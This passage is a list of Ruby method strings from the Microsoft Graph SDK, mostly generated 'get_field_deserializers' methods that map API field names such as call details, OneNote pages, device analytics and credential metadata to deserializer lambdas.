n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"details\" => lambda {|n| @details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::DetailsInfo.create_from_discriminator_value(pn) }) },\n \"identityType\" => lambda {|n| @identity_type = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"dataLocationCode\" => lambda {|n| @data_location_code = n.get_string_value() },\n \"hostname\" => lambda {|n| @hostname = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"root\" => lambda {|n| @root = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Root.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"address\" => lambda {|n| @address = n.get_string_value() },\n \"itemId\" => lambda {|n| @item_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"relevanceScore\" => lambda {|n| @relevance_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"selectionLikelihood\" => lambda {|n| @selection_likelihood = n.get_enum_value(MicrosoftGraph::Models::SelectionLikelihoodInfo) },\n }\n end", "def get_field_deserializers()\n return {\n \"hashes\" => lambda {|n| @hashes = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Hashes.create_from_discriminator_value(pn) }) },\n \"mimeType\" => lambda {|n| @mime_type = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"processingMetadata\" => lambda {|n| @processing_metadata = n.get_boolean_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"configurationVersion\" => lambda {|n| @configuration_version = n.get_number_value() },\n \"errorCount\" => lambda {|n| @error_count = n.get_number_value() },\n \"failedCount\" => lambda {|n| @failed_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"notApplicableCount\" => lambda {|n| @not_applicable_count = n.get_number_value() },\n \"pendingCount\" => lambda {|n| @pending_count = n.get_number_value() },\n \"successCount\" => lambda {|n| @success_count = n.get_number_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"format\" => lambda {|n| @format = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WorkbookChartDataLabelFormat.create_from_discriminator_value(pn) }) },\n \"position\" => lambda {|n| @position = n.get_string_value() },\n \"separator\" => lambda {|n| @separator = n.get_string_value() },\n \"showBubbleSize\" => lambda {|n| @show_bubble_size = n.get_boolean_value() },\n \"showCategoryName\" => lambda {|n| @show_category_name = n.get_boolean_value() },\n \"showLegendKey\" => lambda {|n| @show_legend_key = n.get_boolean_value() },\n \"showPercentage\" => lambda {|n| @show_percentage = n.get_boolean_value() },\n \"showSeriesName\" => lambda {|n| @show_series_name = n.get_boolean_value() },\n \"showValue\" => lambda {|n| @show_value = n.get_boolean_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"errorDetails\" => lambda {|n| @error_details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::GenericError.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"sourceId\" => lambda {|n| @source_id = n.get_string_value() },\n \"targetId\" => lambda {|n| @target_id = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"contentSource\" => lambda {|n| @content_source = n.get_string_value() },\n \"hitId\" => lambda {|n| @hit_id = n.get_string_value() },\n \"isCollapsed\" => lambda {|n| @is_collapsed = n.get_boolean_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"rank\" => lambda {|n| @rank = n.get_number_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Entity.create_from_discriminator_value(pn) }) },\n \"resultTemplateId\" => lambda {|n| @result_template_id = n.get_string_value() },\n \"summary\" => lambda {|n| @summary = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"audioRoutingGroups\" => lambda {|n| @audio_routing_groups = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AudioRoutingGroup.create_from_discriminator_value(pn) }) },\n \"callChainId\" => lambda {|n| @call_chain_id = n.get_string_value() },\n \"callOptions\" => lambda {|n| @call_options = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CallOptions.create_from_discriminator_value(pn) }) },\n \"callRoutes\" => lambda {|n| @call_routes = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::CallRoute.create_from_discriminator_value(pn) }) },\n \"callbackUri\" => lambda {|n| @callback_uri = n.get_string_value() },\n \"chatInfo\" => lambda {|n| @chat_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ChatInfo.create_from_discriminator_value(pn) }) },\n \"contentSharingSessions\" => lambda {|n| @content_sharing_sessions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ContentSharingSession.create_from_discriminator_value(pn) }) },\n \"direction\" => lambda {|n| @direction = n.get_enum_value(MicrosoftGraph::Models::CallDirection) },\n \"incomingContext\" => lambda {|n| @incoming_context = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IncomingContext.create_from_discriminator_value(pn) }) },\n \"mediaConfig\" => lambda {|n| @media_config = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaConfig.create_from_discriminator_value(pn) }) },\n \"mediaState\" => lambda {|n| @media_state = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CallMediaState.create_from_discriminator_value(pn) }) },\n \"meetingInfo\" => lambda {|n| @meeting_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MeetingInfo.create_from_discriminator_value(pn) }) },\n \"myParticipantId\" => lambda {|n| @my_participant_id = n.get_string_value() },\n \"operations\" => lambda {|n| @operations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::CommsOperation.create_from_discriminator_value(pn) }) },\n \"participants\" => lambda {|n| @participants = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Participant.create_from_discriminator_value(pn) }) },\n \"requestedModalities\" => lambda {|n| @requested_modalities = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Modality.create_from_discriminator_value(pn) }) },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"source\" => lambda {|n| @source = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ParticipantInfo.create_from_discriminator_value(pn) }) },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::CallState) },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n \"targets\" => lambda {|n| @targets = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::InvitationParticipantInfo.create_from_discriminator_value(pn) }) },\n \"tenantId\" => lambda {|n| @tenant_id = n.get_string_value() },\n \"toneInfo\" => lambda {|n| @tone_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ToneInfo.create_from_discriminator_value(pn) }) },\n \"transcription\" => lambda {|n| @transcription = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CallTranscriptionInfo.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return {\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"teacherNumber\" => lambda {|n| @teacher_number = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"customKeyIdentifier\" => lambda {|n| @custom_key_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"key\" => lambda {|n| @key = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"keyId\" => lambda {|n| @key_id = n.get_guid_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"thumbprint\" => lambda {|n| @thumbprint = n.get_string_value() },\n \"type\" => lambda {|n| @type = n.get_string_value() },\n \"usage\" => lambda {|n| @usage = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"allowMultipleLines\" => lambda {|n| @allow_multiple_lines = n.get_boolean_value() },\n \"appendChangesToExistingText\" => lambda {|n| @append_changes_to_existing_text = n.get_boolean_value() },\n \"linesForEditing\" => lambda {|n| @lines_for_editing = n.get_number_value() },\n \"maxLength\" => lambda {|n| @max_length = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"textType\" => lambda {|n| @text_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"assignCategories\" => lambda {|n| @assign_categories = n.get_collection_of_primitive_values(String) },\n \"copyToFolder\" => lambda {|n| @copy_to_folder = n.get_string_value() },\n \"delete\" => lambda {|n| @delete = n.get_boolean_value() },\n \"forwardAsAttachmentTo\" => lambda {|n| @forward_as_attachment_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Recipient.create_from_discriminator_value(pn) }) },\n \"forwardTo\" => lambda {|n| @forward_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Recipient.create_from_discriminator_value(pn) }) },\n \"markAsRead\" => lambda {|n| @mark_as_read = n.get_boolean_value() },\n \"markImportance\" => lambda {|n| @mark_importance = n.get_enum_value(MicrosoftGraph::Models::Importance) },\n \"moveToFolder\" => lambda {|n| @move_to_folder = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"permanentDelete\" => lambda {|n| @permanent_delete = n.get_boolean_value() },\n \"redirectTo\" => lambda {|n| @redirect_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Recipient.create_from_discriminator_value(pn) }) },\n \"stopProcessingRules\" => lambda {|n| @stop_processing_rules = n.get_boolean_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"acceptMappedClaims\" => lambda {|n| @accept_mapped_claims = n.get_boolean_value() },\n \"knownClientApplications\" => lambda {|n| @known_client_applications = n.get_collection_of_primitive_values(UUIDTools::UUID) },\n \"oauth2PermissionScopes\" => lambda {|n| @oauth2_permission_scopes = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PermissionScope.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"preAuthorizedApplications\" => lambda {|n| @pre_authorized_applications = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PreAuthorizedApplication.create_from_discriminator_value(pn) }) },\n \"requestedAccessTokenVersion\" => lambda {|n| @requested_access_token_version = n.get_number_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"contentUrl\" => lambda {|n| @content_url = n.get_string_value() },\n \"createdByAppId\" => lambda {|n| @created_by_app_id = n.get_string_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"level\" => lambda {|n| @level = n.get_number_value() },\n \"links\" => lambda {|n| @links = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PageLinks.create_from_discriminator_value(pn) }) },\n \"order\" => lambda {|n| @order = n.get_number_value() },\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSection\" => lambda {|n| @parent_section = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::OnenoteSection.create_from_discriminator_value(pn) }) },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n \"userTags\" => lambda {|n| @user_tags = n.get_collection_of_primitive_values(String) },\n })\n end", "def get_field_deserializers()\n return {\n \"failedRuns\" => lambda {|n| @failed_runs = n.get_number_value() },\n \"failedTasks\" => lambda {|n| @failed_tasks = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"successfulRuns\" => lambda {|n| @successful_runs = n.get_number_value() },\n \"totalRuns\" => lambda {|n| @total_runs = n.get_number_value() },\n \"totalTasks\" => lambda {|n| @total_tasks = n.get_number_value() },\n \"totalUsers\" => lambda {|n| @total_users = n.get_number_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_guid_value() },\n \"isEnabled\" => lambda {|n| @is_enabled = n.get_boolean_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"value\" => lambda {|n| @value = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"recommendedActions\" => lambda {|n| @recommended_actions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RecommendedAction.create_from_discriminator_value(pn) }) },\n \"resolvedTargetsCount\" => lambda {|n| @resolved_targets_count = n.get_number_value() },\n \"simulationEventsContent\" => lambda {|n| @simulation_events_content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SimulationEventsContent.create_from_discriminator_value(pn) }) },\n \"trainingEventsContent\" => lambda {|n| @training_events_content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TrainingEventsContent.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"customKeyIdentifier\" => lambda {|n| @custom_key_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"hint\" => lambda {|n| @hint = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_guid_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"secretText\" => lambda {|n| @secret_text = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"isRequired\" => lambda {|n| @is_required = n.get_boolean_value() },\n \"locations\" => lambda {|n| @locations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::LocationConstraintItem.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"suggestLocation\" => lambda {|n| @suggest_location = n.get_boolean_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"activityType\" => lambda {|n| @activity_type = n.get_string_value() },\n \"chainId\" => lambda {|n| @chain_id = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"previewText\" => lambda {|n| @preview_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ItemBody.create_from_discriminator_value(pn) }) },\n \"recipient\" => lambda {|n| @recipient = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TeamworkNotificationRecipient.create_from_discriminator_value(pn) }) },\n \"templateParameters\" => lambda {|n| @template_parameters = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::KeyValuePair.create_from_discriminator_value(pn) }) },\n \"topic\" => lambda {|n| @topic = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TeamworkActivityTopic.create_from_discriminator_value(pn) }) },\n }\n end", "def metadata\n self.class.metadata\n end", "def get_field_deserializers()\n return {\n \"activityIdentifier\" => lambda {|n| @activity_identifier = n.get_string_value() },\n \"countEntitled\" => lambda {|n| @count_entitled = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEntitledForProvisioning\" => lambda {|n| @count_entitled_for_provisioning = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowed\" => lambda {|n| @count_escrowed = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowedRaw\" => lambda {|n| @count_escrowed_raw = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExported\" => lambda {|n| @count_exported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExports\" => lambda {|n| @count_exports = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImported\" => lambda {|n| @count_imported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedDeltas\" => lambda {|n| @count_imported_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedReferenceDeltas\" => lambda {|n| @count_imported_reference_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"error\" => lambda {|n| @error = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationError.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::SynchronizationTaskExecutionResult) },\n \"timeBegan\" => lambda {|n| @time_began = n.get_date_time_value() },\n \"timeEnded\" => lambda {|n| @time_ended = n.get_date_time_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"content\" => lambda {|n| @content = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"transportKey\" => lambda {|n| @transport_key = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"activeDeviceCount\" => lambda {|n| @active_device_count = n.get_number_value() },\n \"deviceManufacturer\" => lambda {|n| @device_manufacturer = n.get_string_value() },\n \"deviceModel\" => lambda {|n| @device_model = n.get_string_value() },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"meanTimeToFailureInMinutes\" => lambda {|n| @mean_time_to_failure_in_minutes = n.get_number_value() },\n \"modelAppHealthScore\" => lambda {|n| @model_app_health_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"resourceAccess\" => lambda {|n| @resource_access = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ResourceAccess.create_from_discriminator_value(pn) }) },\n \"resourceAppId\" => lambda {|n| @resource_app_id = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"key\" => lambda {|n| @key = n.get_string_value() },\n \"volumeType\" => lambda {|n| @volume_type = n.get_enum_value(MicrosoftGraph::Models::VolumeType) },\n })\n end", "def get_field_deserializers()\n return {\n \"anchor\" => lambda {|n| @anchor = n.get_boolean_value() },\n \"apiExpressions\" => lambda {|n| @api_expressions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::StringKeyStringValuePair.create_from_discriminator_value(pn) }) },\n \"caseExact\" => lambda {|n| @case_exact = n.get_boolean_value() },\n \"defaultValue\" => lambda {|n| @default_value = n.get_string_value() },\n \"flowNullValues\" => lambda {|n| @flow_null_values = n.get_boolean_value() },\n \"metadata\" => lambda {|n| @metadata = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AttributeDefinitionMetadataEntry.create_from_discriminator_value(pn) }) },\n \"multivalued\" => lambda {|n| @multivalued = n.get_boolean_value() },\n \"mutability\" => lambda {|n| @mutability = n.get_enum_value(MicrosoftGraph::Models::Mutability) },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"referencedObjects\" => lambda {|n| @referenced_objects = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ReferencedObject.create_from_discriminator_value(pn) }) },\n \"required\" => lambda {|n| @required = n.get_boolean_value() },\n \"type\" => lambda {|n| @type = n.get_enum_value(MicrosoftGraph::Models::AttributeType) },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"nextExpectedRanges\" => lambda {|n| @next_expected_ranges = n.get_collection_of_primitive_values(String) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"averageBlueScreens\" => lambda {|n| @average_blue_screens = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageRestarts\" => lambda {|n| @average_restarts = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"blueScreenCount\" => lambda {|n| @blue_screen_count = n.get_number_value() },\n \"bootScore\" => lambda {|n| @boot_score = n.get_number_value() },\n \"coreBootTimeInMs\" => lambda {|n| @core_boot_time_in_ms = n.get_number_value() },\n \"coreLoginTimeInMs\" => lambda {|n| @core_login_time_in_ms = n.get_number_value() },\n \"deviceCount\" => lambda {|n| @device_count = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"deviceName\" => lambda {|n| @device_name = n.get_string_value() },\n \"diskType\" => lambda {|n| @disk_type = n.get_enum_value(MicrosoftGraph::Models::DiskType) },\n \"groupPolicyBootTimeInMs\" => lambda {|n| @group_policy_boot_time_in_ms = n.get_number_value() },\n \"groupPolicyLoginTimeInMs\" => lambda {|n| @group_policy_login_time_in_ms = n.get_number_value() },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"loginScore\" => lambda {|n| @login_score = n.get_number_value() },\n \"manufacturer\" => lambda {|n| @manufacturer = n.get_string_value() },\n \"model\" => lambda {|n| @model = n.get_string_value() },\n \"modelStartupPerformanceScore\" => lambda {|n| @model_startup_performance_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"operatingSystemVersion\" => lambda {|n| @operating_system_version = n.get_string_value() },\n \"responsiveDesktopTimeInMs\" => lambda {|n| @responsive_desktop_time_in_ms = n.get_number_value() },\n \"restartCount\" => lambda {|n| @restart_count = n.get_number_value() },\n \"startupPerformanceScore\" => lambda {|n| @startup_performance_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return {\n \"connectingIP\" => lambda {|n| @connecting_i_p = n.get_string_value() },\n \"deliveryAction\" => lambda {|n| @delivery_action = n.get_string_value() },\n \"deliveryLocation\" => lambda {|n| @delivery_location = n.get_string_value() },\n \"directionality\" => lambda {|n| @directionality = n.get_string_value() },\n \"internetMessageId\" => lambda {|n| @internet_message_id = n.get_string_value() },\n \"messageFingerprint\" => lambda {|n| @message_fingerprint = n.get_string_value() },\n \"messageReceivedDateTime\" => lambda {|n| @message_received_date_time = n.get_date_time_value() },\n \"messageSubject\" => lambda {|n| @message_subject = n.get_string_value() },\n \"networkMessageId\" => lambda {|n| @network_message_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"application\" => lambda {|n| @application = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Identity.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"preventsDownload\" => lambda {|n| @prevents_download = n.get_boolean_value() },\n \"scope\" => lambda {|n| @scope = n.get_string_value() },\n \"type\" => lambda {|n| @type = n.get_string_value() },\n \"webHtml\" => lambda {|n| @web_html = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"nextExpectedRanges\" => lambda {|n| @next_expected_ranges = n.get_collection_of_primitive_values(String) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"uploadUrl\" => lambda {|n| @upload_url = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"appName\" => lambda {|n| @app_name = n.get_string_value() },\n \"appPublisher\" => lambda {|n| @app_publisher = n.get_string_value() },\n \"appVersion\" => lambda {|n| @app_version = n.get_string_value() },\n \"deviceCountWithCrashes\" => lambda {|n| @device_count_with_crashes = n.get_number_value() },\n \"isLatestUsedVersion\" => lambda {|n| @is_latest_used_version = n.get_boolean_value() },\n \"isMostUsedVersion\" => lambda {|n| @is_most_used_version = n.get_boolean_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"attributeMappings\" => lambda {|n| @attribute_mappings = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AttributeMapping.create_from_discriminator_value(pn) }) },\n \"enabled\" => lambda {|n| @enabled = n.get_boolean_value() },\n \"flowTypes\" => lambda {|n| @flow_types = n.get_enum_value(MicrosoftGraph::Models::ObjectFlowTypes) },\n \"metadata\" => lambda {|n| @metadata = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ObjectMappingMetadataEntry.create_from_discriminator_value(pn) }) },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"scope\" => lambda {|n| @scope = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Filter.create_from_discriminator_value(pn) }) },\n \"sourceObjectName\" => lambda {|n| @source_object_name = n.get_string_value() },\n \"targetObjectName\" => lambda {|n| @target_object_name = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"links\" => lambda {|n| @links = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionLinks.create_from_discriminator_value(pn) }) },\n \"pages\" => lambda {|n| @pages = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OnenotePage.create_from_discriminator_value(pn) }) },\n \"pagesUrl\" => lambda {|n| @pages_url = n.get_string_value() },\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSectionGroup\" => lambda {|n| @parent_section_group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appHangCount\" => lambda {|n| @app_hang_count = n.get_number_value() },\n \"crashedAppCount\" => lambda {|n| @crashed_app_count = n.get_number_value() },\n \"deviceAppHealthScore\" => lambda {|n| @device_app_health_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"deviceDisplayName\" => lambda {|n| @device_display_name = n.get_string_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"deviceManufacturer\" => lambda {|n| @device_manufacturer = n.get_string_value() },\n \"deviceModel\" => lambda {|n| @device_model = n.get_string_value() },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"meanTimeToFailureInMinutes\" => lambda {|n| @mean_time_to_failure_in_minutes = n.get_number_value() },\n \"processedDateTime\" => lambda {|n| @processed_date_time = n.get_date_time_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"messageId\" => lambda {|n| @message_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"replyChainMessageId\" => lambda {|n| @reply_chain_message_id = n.get_string_value() },\n \"threadId\" => lambda {|n| @thread_id = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"isUsable\" => lambda {|n| @is_usable = n.get_boolean_value() },\n \"isUsableOnce\" => lambda {|n| @is_usable_once = n.get_boolean_value() },\n \"lifetimeInMinutes\" => lambda {|n| @lifetime_in_minutes = n.get_number_value() },\n \"methodUsabilityReason\" => lambda {|n| @method_usability_reason = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"temporaryAccessPass\" => lambda {|n| @temporary_access_pass = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"owner\" => lambda {|n| @owner = n.get_string_value() },\n \"properties\" => lambda {|n| @properties = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ExtensionSchemaProperty.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n \"targetTypes\" => lambda {|n| @target_types = n.get_collection_of_primitive_values(String) },\n })\n end", "def get_field_deserializers()\n return {\n \"bargeInAllowed\" => lambda {|n| @barge_in_allowed = n.get_boolean_value() },\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"initialSilenceTimeoutInSeconds\" => lambda {|n| @initial_silence_timeout_in_seconds = n.get_number_value() },\n \"maxRecordDurationInSeconds\" => lambda {|n| @max_record_duration_in_seconds = 